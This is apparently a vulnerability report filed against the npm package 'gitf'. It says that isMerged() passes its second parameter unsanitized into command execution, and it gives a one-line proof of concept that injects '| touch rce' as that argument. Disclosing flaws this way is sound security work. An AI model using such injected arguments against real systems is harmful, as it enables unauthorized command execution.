Potential command injection vulnerability in gitf #1

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method isMerged() fails to sanitize its 2nd parameter and lets it flow into a sensitive command execution API.

Here is the proof of concept.

const lib = require('gitf');

var gitf = new lib();
gitf.isMerged("", "| touch rce", () => {})// a file named rce will be created

Please consider fixing it. thanks!